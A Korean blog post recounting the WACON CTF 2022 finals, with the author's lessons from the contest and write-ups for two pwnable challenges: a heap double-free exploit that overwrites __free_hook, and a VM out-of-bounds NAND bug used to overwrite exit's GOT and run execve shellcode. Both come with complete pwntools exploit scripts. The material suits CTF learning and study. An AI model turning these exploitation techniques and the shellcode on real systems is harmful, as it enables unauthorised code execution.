Sechack

WACON CTF 2022 본선 Pwnable Write up + 후기 본문

CTF

WACON CTF 2022 본선 Pwnable Write up + 후기

Sechack 2022. 7. 18. 03:48
반응형

 

와콘 본선장인데 웅장했다. 장소는 매우 마음에 들었다.

 

와콘 후기 요약

1. 반드시 자기 메인 분야 먼저 할 수 있는데까지 다 해두고 다른 분야 건들이자. 귀찮아 보인다고 다른분야 먼저 건들다가 메인 분야 풀 시간이 부족해질 수 있다.

2. 예선은 살살해도 본선때는 풀타임 빡겜 뛸 각오 하자. 한번 틀어진 집중력은 쉽게 돌아오지 않는다.

3. 대회 성과는 실력 외에도 문제 운이나 컨디션, 시간 분배 등 여러가지 외부 요인으로 인해 예상보다 안좋게 나올 수도 있다. 이럴때 멘탈이 매우 크게 흔들리겠지만 실력이 문제인지 다른게 문제인지는 본인이 가장 잘 알고 있다. 다음에 잘하면 되니까 멘탈 깨질 필요는 없다.

4. 물질적으로 얻은건 없지만 실력적으로 얻은건 예선 본선 모두 매우 많은것 같다. 가장 큰 CTF 실력 향상의 지름길은 메이저한 CTF뛴다음에 접근 10%라도 했던 문제들은 싹다 복기해보는것이라고 생각한다.

5. 정부가 개입되니까 규모가 엄청나게 커지는것 같다. 규모 키우는건 정부가 짱이다.

6. 평소에 존경해왔던 유명한 해커분들과 직접 만날 수 있는 기회가 되어서 좋았다.

7. 본선 장소가 크고 웅장해서 밥도 고급지게 나올줄 알았는데 도시락으로 나왔다. 그것도 맛있게 먹었지만 분위기에 맞게 고급 요리가 나왔으면 좋았을것 같다.

8. 선린 김김김 선배님들은 생각보다 훨씬 위대하다.

9. 수학과 관련된건 과학고가 넘사다. 암호학 어떻게 공부했는지 ㄹㅇ궁금하다.

10. 나도 다음엔 플래그 키핑 해봐야지.

 

 

이번 와콘에서 느낀점은 이정도이다. 솔직히 3등 안에 들어서 상금 따갈줄 알았는데 7등을 해버렸다. 멘탈이 많이 흔들렸지만 어떤게 문제였는지 잘 알고있기 때문에 다음에 잘하자 라는 마인드를 가지고 멘탈 복구했다. 대회가 매번 내맘대로 되는건 아니니까 성과 잘 안나올수도 있지 뭐..

 

암튼 write up시작!!

 

 

old style

 

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int i; // [rsp+14h] [rbp-19Ch]
  int v4; // [rsp+18h] [rbp-198h]
  unsigned int v5; // [rsp+1Ch] [rbp-194h]
  unsigned int v6; // [rsp+1Ch] [rbp-194h]
  __int64 s[50]; // [rsp+20h] [rbp-190h] BYREF

  s[49] = __readfsqword(0x28u);
  sub_95A(a1, a2, a3);
  memset(s, 0, 0x180uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      v4 = sub_9D1();
      if ( v4 != 1 )
        break;
      for ( i = 0; ; ++i )
      {
        if ( i > 47 )
          goto LABEL_8;
        if ( !s[i] )
          break;
      }
      s[i] = (__int64)malloc(0x30uLL);
      puts("Enter entry");
      read(0, (void *)s[i], 0x30uLL);
      puts("Created entry.");
LABEL_8:
      if ( i == 48 )
        puts("All entries are full");
    }
    if ( v4 == 2 )
    {
      puts("Enter entry index");
      v5 = sub_A5A();
      if ( v5 > 0x2F || !s[v5] )
        goto LABEL_13;
      free((void *)s[v5]);
      puts("Deleted entry.");
    }
    else if ( v4 == 3 )
    {
      puts("Enter entry index");
      v6 = sub_A5A();
      if ( v6 <= 0x2F && s[v6] )
        puts((const char *)s[v6]);
      else
LABEL_13:
        puts("Invalid entry index.");
    }
    else
    {
      puts("Invalid option");
    }
  }
}

 

오랜만에 보는 힙 문제이다. 1년 전까지만 해도 빡세게 힙 꼬아서 익스해야되는 문제들 많이 보였는데 이제는 힙익스 자체가 old style이 된것같다. 아무튼 취약점은 간단하다. free하고 포인터 초기화 안해줘서 double free bug가 터진다.

 

FROM ubuntu:19.04

RUN sed -i 's@archive.ubuntu.com@old-releases.ubuntu.com@g' /etc/apt/sources.list
RUN sed -i 's@security.ubuntu.com@old-releases.ubuntu.com@g' /etc/apt/sources.list

RUN apt-get update
RUN apt-get install -y xinetd netcat

RUN sysctl -w kernel.dmesg_restrict=1 
RUN chmod 1733 /tmp /var/tmp /dev/shm
RUN adduser babyheap

ADD ./attackme /home/babyheap/attackme
ADD ./flag /home/babyheap/flag
ADD ./xinetd_config /etc/xinetd.d/challenge

RUN chown -R root:root /home/babyheap
RUN chown root:babyheap /home/babyheap/attackme
RUN chmod 2755 /home/babyheap/attackme
RUN chown root:babyheap /home/babyheap/flag
RUN chmod 440 /home/babyheap/flag

RUN service xinetd restart
CMD ["/usr/sbin/xinetd", "-dontfork"]

 

Dockerfile을 보면 ubuntu19.04이다. tcache에 추가된 key검증때문에 double free bug가 안되지만 어디까지나 그건 tcache한정이다. tcache꽉채우고 fastbin에서 double free bug하면 된다. tcache가 비어있을때 fastbin이나 smallbin에서 chunk를 할당하면 glibc는 tcache를 우선적으로 사용하려고 한다는 특징때문에 뒤에 있는 chunk들이 tcache로 들어가게 되는데 이러한 특징 때문에 fastbin에서 double free를 일으켜도 tcache bin으로 들어가서 size맞춰줄 필요 없이 편하게 익스할 수 있다. 자세한건 tcache bin stashing unlink attack을 구글링해보면 알 수 있다.

 

먼저 libc부터 따야 하는데 chunk를 원하는 크기로 할당할 수 없다. 그래서 먼저 uaf로 힙주소 릭한뒤에 0x530 size의 fake chunk만들어주고 double free bug로 fake chunk할당시킨다음에 다시 free해서 unsorted bin에 넣어서 libc leak을 할 수 있다. libc leak했으면 다시 double free bug이용해서 free hook을 system으로 덮어주면 된다.

 

from pwn import *

r = remote("175.123.252.136", 12345)
#r = process("./attackme")
libc = ELF("./libc.so.6")

def create(data):
    r.sendlineafter("[3] Show entry\n", "1")
    r.sendafter("Enter entry\n", data)

def delete(idx):
    r.sendlineafter("[3] Show entry\n", "2")
    r.sendlineafter("index\n", str(idx))

def show(idx):
    r.sendlineafter("[3] Show entry\n", "3")
    r.sendlineafter("index\n", str(idx))

create(p64(0)+p64(0x531)+p64(0)*2)

for i in range(0x15):
    create("Sechack")

delete(1)
delete(2)
show(2)

heap_leak = u64(r.recv(6).ljust(8, b"\x00"))
unsorted_chunk = heap_leak - 0x30
print(hex(heap_leak))

for i in range(6):
    delete(i+3)

delete(9)
delete(8)

for i in range(7):
    create("Sechack")

create(p64(unsorted_chunk))
create("Sechack")
create("Sechack")
create("Sechack")

for i in range(1, 8):
    delete(i)

delete(8)
delete(9)
delete(8)

delete(0x20)
show(0x20)

libc_leak = u64(r.recvuntil("\x7f").ljust(8, b"\x00"))
libc_base = libc_leak - libc.sym["__malloc_hook"] - 0x70
system = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
#malloc_hook = libc_leak - 0x70
print(hex(libc_base))

for i in range(7):
    create("Sechack")

create(p64(free_hook))
create("Sechack")
create(b"/bin/sh\x00")
create(p64(system))

delete(0x1f)

r.interactive()

 

이 문제는 로컬에서 1시간도 안되서 익스 성공했는데 로되리안 나서 3시간 넘게 날렸다. ubuntu 19.04 Docker똑같이 구축해서 익스해봤는데 잘되길래 문의 넣고 주최측이 원인 찾던중에 솔버 나와서 결국 혼자서 삽질을 시작했다. 일단 로되리안은 디버깅을 못하니까 서버 응답 보고 여러가지 추측을 해봤었는데 libc leak하고 두번째 double free를 할때 fastbin chunk를 할당받으려 하면 터지는거였다. 그래서 이런저런 시도를 해본 끝에 설마 fake chunk의 fd에 이상한 값이 들어가 있어서 tcache가 완전히 비워지지 못하고 segmentation fault가 나는건가? 라는 생각을 해보고 fake chunk만들때 size뒤에 p64(0)*2를 추가하니까 바로 된다... 아주 사소한 문제로 로되리안 난거였는데 이것만 아니었으면 퍼블 무조건 땄는데 아쉽다. 문제 자체는 그냥 mic check느낌으로 주는 문제긴 했다.

 

 

(]V\AV\ - pwn

 

이 문제는 웹만 계속 보다가 대회 끝나기 5시간 전에 분석하기 시작해서 시간부족으로 못풀고 집와서 마저 익스 짠 문제이다. 조금만 더 일찍 잡았으면 대회중에 풀 수 있었는데 아쉽다.

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char *v3; // rdi
  char **v4; // rbx
  FILE *v5; // rax
  int v6; // eax
  int v7; // edi
  char v8; // al
  unsigned int v9; // ebp

  if ( a1 == 2 )
  {
    v3 = a2[1];
    if ( *(_WORD *)v3 == 45 )
      goto LABEL_5;
    v4 = a2 + 1;
    v5 = fopen(v3, "rb");
    if ( v5 )
    {
      if ( *(_WORD *)*v4 != 45 )
      {
LABEL_6:
        sub_11F0(v5);
        setbuf(stdin, 0LL);
        setbuf(stdout, 0LL);
        sub_1250();
        while ( 1 )
        {
          v7 = *((unsigned __int16 *)&qword_4090 + 0x7E);
          *((_WORD *)&qword_4090 + 126) = v7 + 1;
          v8 = getopcode(v7);
          sub_1340(v8);
        }
      }
LABEL_5:
      v6 = dup(0);
      v5 = fdopen(v6, "rb");
      goto LABEL_6;
    }
    v9 = 2;
    dprintf(2, "cannot open %s\n", *v4);
  }
  else
  {
    v9 = 1;
    dprintf(2, "Usage: %s <machine input>\n", *a2);
  }
  return v9;
}

 

main함수에서는 파일을 읽거나 파일이 없을경우 직접 입력을 받는다.

 

 

입력받을 메모리를 mmap으로 할당하는데 여기에는 rwx권한이 있다. 즉 Shellcode를 넣어서 실행시킬 수 있다는 말이다.

 

 

 

그리고 어떤 주소에 계속 1씩 더해가면서(디버깅 결과 0으로 초기화 되어있음) 그 값을 인덱스로 삼아서 mmap으로 할당받은 메모리에서 우리가 입력한 값을 가져와서 sub_1340함수에 인자로 전달한다.

 

char __fastcall sub_1340(char a1)
{
  int v1; // edi
  __int16 v2; // ax
  int v3; // edi
  int v4; // edi
  unsigned __int8 v5; // bl
  int v6; // edi
  int v7; // edi
  int v8; // edi
  __int16 v9; // bp
  int v10; // edi
  int v11; // edi
  char v12; // bl
  int v13; // edi
  int v14; // edi
  unsigned __int8 v15; // bl
  int v16; // edi
  __int64 v17; // rdx
  int v18; // esi
  int v19; // edi
  unsigned __int8 v20; // bl
  int v21; // edi
  int v22; // edi
  int v23; // edi
  int v24; // ebp
  int v25; // edi
  unsigned __int8 v26; // al
  int v27; // edi

  if ( a1 <= -38 )
  {
    switch ( a1 )
    {
      case 0x81:
        v3 = (unsigned __int16)pc++;
        v2 = *((_WORD *)&qword_4090 + (unsigned __int8)getopcode(v3));
        pc += v2;
        return v2;
      case 0x82:
      case 0x83:
      case 0x84:
      case 0x85:
      case 0x86:
      case 0x87:
      case 0x88:
      case 0x89:
      case 0x8A:
      case 0x8B:
      case 0x8C:
      case 0x8D:
      case 0x8E:
      case 0x8F:
      case 0x90:
      case 0x92:
      case 0x93:
      case 0x94:
      case 0x95:
      case 0x96:
      case 0x97:
      case 0x98:
      case 0x99:
      case 0x9A:
      case 0x9B:
      case 0x9C:
      case 0x9D:
      case 0x9E:
      case 0xA0:
      case 0xA2:
      case 0xA3:
      case 0xA4:
      case 0xA5:
      case 0xA6:
      case 0xA7:
      case 0xA8:
      case 0xA9:
        goto LABEL_24;
      case 0x91:
        v14 = (unsigned __int16)pc++;
        v15 = getopcode(v14);
        v16 = (unsigned __int16)pc++;
        LOBYTE(v2) = getopcode(v16);
        v17 = v15;
        v18 = *((unsigned __int16 *)&qword_4090 + v15) << v2;
        goto LABEL_19;
      case 0x9F:
        LOBYTE(v2) = putc((unsigned __int16)qword_4090, stdout);
        return v2;
      case 0xA1:
        v19 = (unsigned __int16)pc++;
        v20 = getopcode(v19);
        v21 = (unsigned __int16)pc++;
        LOBYTE(v2) = getopcode(v21);
        v17 = v20;
        v18 = *((unsigned __int16 *)&qword_4090 + v20) >> v2;
LABEL_19:
        *((_WORD *)&qword_4090 + v17) = v18;
        return v2;
      case 0xAA:
        v22 = (unsigned __int16)pc++;
        LOBYTE(v2) = getopcode(v22);
        *((_WORD *)&qword_4090 + (unsigned __int8)v2) = pc;
        return v2;
      default:
        if ( a1 == (char)0xD3 )
          exit(0);
        goto LABEL_24;
    }
  }
  switch ( a1 )
  {
    case 3:
      v1 = (unsigned __int16)pc++;
      LOBYTE(v2) = getopcode(v1);
      if ( !word_418E )
        goto LABEL_12;
      return v2;
    case 4:
    case 5:
    case 7:
    case 8:
    case 9:
    case 0xA:
    case 0xB:
    case 0xC:
    case 0xE:
    case 0xF:
    case 0x10:
    case 0x11:
    case 0x12:
    case 0x13:
    case 0x14:
    case 0x15:
    case 0x16:
    case 0x17:
    case 0x18:
    case 0x19:
    case 0x1A:
    case 0x1B:
    case 0x1C:
    case 0x1D:
    case 0x1E:
    case 0x1F:
    case 0x20:
    case 0x21:
    case 0x22:
    case 0x23:
      goto LABEL_24;
    case 6:
      v7 = (unsigned __int16)pc++;
      LOBYTE(v2) = getopcode(v7);
      if ( word_418E )
      {
LABEL_12:
        v2 = *((_WORD *)&qword_4090 + (unsigned __int8)v2);
        pc = v2;
      }
      return v2;
    case 0xD:
      v8 = (unsigned __int16)pc++;
      v9 = *((_WORD *)&qword_4090 + (unsigned __int8)getopcode(v8));
      v10 = (unsigned __int16)pc++;
      LOBYTE(v2) = getopcode(v10);
      word_418E = v9 == *((_WORD *)&qword_4090 + (unsigned __int8)v2);
      return v2;
    case 0x24:
      v11 = (unsigned __int16)pc++;
      v12 = getopcode(v11);
      v13 = (unsigned __int16)pc++;
      LOBYTE(v2) = getopcode(v13);
      *((_WORD *)&qword_4090 + v12) = ~(*((_WORD *)&qword_4090 + (char)v2) & *((_WORD *)&qword_4090 + v12));
      return v2;
    default:
      if ( a1 == (char)0xDB )
      {
        v23 = (unsigned __int16)pc++;
        v24 = (unsigned __int8)getopcode(v23) << 8;
        v25 = (unsigned __int16)pc++;
        v26 = getopcode(v25);
        LOWORD(v24) = (unsigned __int8)getopcode(v24 | v26);
        v27 = (unsigned __int16)pc++;
        LOBYTE(v2) = getopcode(v27);
        *((_WORD *)&qword_4090 + (unsigned __int8)v2) = v24;
      }
      else
      {
        if ( a1 != 0x73 )
LABEL_24:
          sub_1680();
        v4 = (unsigned __int16)pc++;
        v5 = getopcode(v4);
        v6 = (unsigned __int16)pc++;
        LOBYTE(v2) = getopcode(v6);
        if ( !word_418E )
        {
          v2 = (v5 << 8) | (unsigned __int8)v2;
          pc = v2;
        }
      }
      return v2;
  }
}

 

이 함수가 메인 루틴인데 opcode를 받고 opcode에 따라서 정해진 동작을 수행하는 전형적인 vm문제이다.

 

 

문제 설명에 이렇게 적혀있는데 진짜로 비트 연산이 구현되어 있다.

 

    case 0x24:
      v11 = (unsigned __int16)pc++;
      v12 = getopcode(v11);
      v13 = (unsigned __int16)pc++;
      LOBYTE(v2) = getopcode(v13);
      *((_WORD *)&qword_4090 + v12) = ~(*((_WORD *)&qword_4090 + (char)v2) & *((_WORD *)&qword_4090 + v12));
      return v2;

 

취약점은 여기서 터지는데 v12는 선언부 보면 알겠지만 자료형이 char이고 v2도 char형으로 형변환해서 넣어준다. 즉 음수로 인식되게 하는게 가능하다는 말이다. 음수 인덱스에 접근이 가능해지니까 OOB가 터지게 된다. 문제는 이게 값이 그냥 들어가는게 아니라 buf[a] = ~(buf[b]&buf[a])꼴로 nand연산을 해서 들어간다는 것이다. 그래서 OOB로 값을 바로 넣을수는 없고 약간의 연산 과정을 거쳐야 한다.

 

먼저 ~(a&b)형태의 nand연산을 ~(a&0xffff)로 만들어 준다면 not연산이 되어버린다. 2byte씩 값을 처리하니까 0xffff를 and하면 a값에 아무런 변화가 없고 거기서 not연산을 수행하니까 그냥 not연산과 다를게 없다. 그리고 not연산은 2번 하면 다시 원본 값으로 돌아오니까 이걸 이용해서 원하는 값을 넣을 수 있다.

 

먼저 아무데나 비는 공간에 0xffffffffffff과 같이 nand연산의 두번째 연산값으로 쓸 값들을 만들어두고 exit got와 같이 덮으려는 주소에도 0xffffffffffff과 같이 세팅해둔다. 0xffff는 ~(0&b)를 주면 쉽게 만들 수 있다.

 

편의를 위해서 0xffffffffffff을 세팅해둔 빈 공간을 buf라고 하고 got는 got라고 하고 덮어야될 주소가 들어있는 공간을 buf1이라고 하겠다.

 

다 세팅하고 나면 먼저 buf[i] = ~(buf1[i]&buf[i]) 이렇게 준다. 그러면 buf[i]에는 buf1[i]를 not연산한 결과가 들어가 있을것이다. 이걸 다시 got[i] = ~(buf[i]&got[i])해서 got에 넣게 된다면 not연산한 결과에 다시 not연산을 하게 되므로 결과적으로는 got에 원하는 주소가 들어가게 된다. 이걸 이용해서 exit got를 rwx page의 주소로 덮을 수 있다.

 

여기까지 했으면 가장 큰 문제가 남아있는데 rwx page의 base주소를 넣으면 안되고 거기다가 값을 조금 더해서 vm opcode뒤에 넣은 Shellcode가 있는 주소를 넣어야 한다. 따라서 덧셈을 해야하는데 덧셈은 pc를 더하는거 외에는 더할 수 있는곳이 없다. 따라서 pc를 원하는 값으로 만들고 더해야 하는데 이렇게 되면 pc를 다시 돌릴 vm opcode가 필요하게 되고 결국엔 Shellcode를 부를때 vm opcode랑 주소가 겹치기 때문에 안될것 같았다.

 

어차피 0x10000만큼 rwx page가 할당되어 있으니까 그냥 덧셈할 필요 없이 하위 2byte를 0xff00으로 넣어주고 nop sled해준다음 페이로드 맨 뒤에 Shellcode박으면 vm opcode길이가 0xf00보다 짧을 경우에는 무조건 Shellcode가 실행되게 된다. 따라서 일단 상위 4byte는 rwx page주소로 덮고 나머지 하위 2byte는 buf에 들어있는 0xffff에 << 8연산 해줘서 0xff00만든 후에 위에서 서술한것과 같이 not연산 2번 해줘서 exit got하위 2byte를 덮어줬다.

 

근데 풀고나서 들었는데 진무선배 아이디어는 너무 신박했다. pc를 다시 원하는 값으로 되돌리는 vm opcode가 0x73이고 0x73으로 시작하는 instruction중에는 jae가 있다. 따라서 vm opcode랑 Shellcode부분이랑 겹쳐도 jae instruction을 이용해서 안터지게 bypass할 수 있었던 것이다.

 

from pwn import *

#r = process(["./vm", "-"])
r = remote("175.123.252.15", 9000)

#\x91\x00\x08 << 8
#\xa1\x00\x08 >> 8

shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

payload = b"\x24\xe8\xff\x24\xe9\xff\x24\xea\xff\x24\x00\xff\x24\x01\xff\x24\x02\xff\x24\x03\xff" #make exit got 0xffffffffffff and buf 0xffffffffffffff
payload += b"\x24\x01\xfd\x24\xe9\x01\x24\x02\xfe\x24\xea\x02" #exit got overwrite rwx top 4bytes
payload += b"\x91\x00\x08\x24\x03\x00\x24\xe8\x03\xd3" #exit got overwrite 0xff00 lower 2bytes and call exit
payload += b"\x90"*(0x10000-len(payload+shellcode))
payload += shellcode

r.send(payload)

r.interactive()

 

반응형
Comments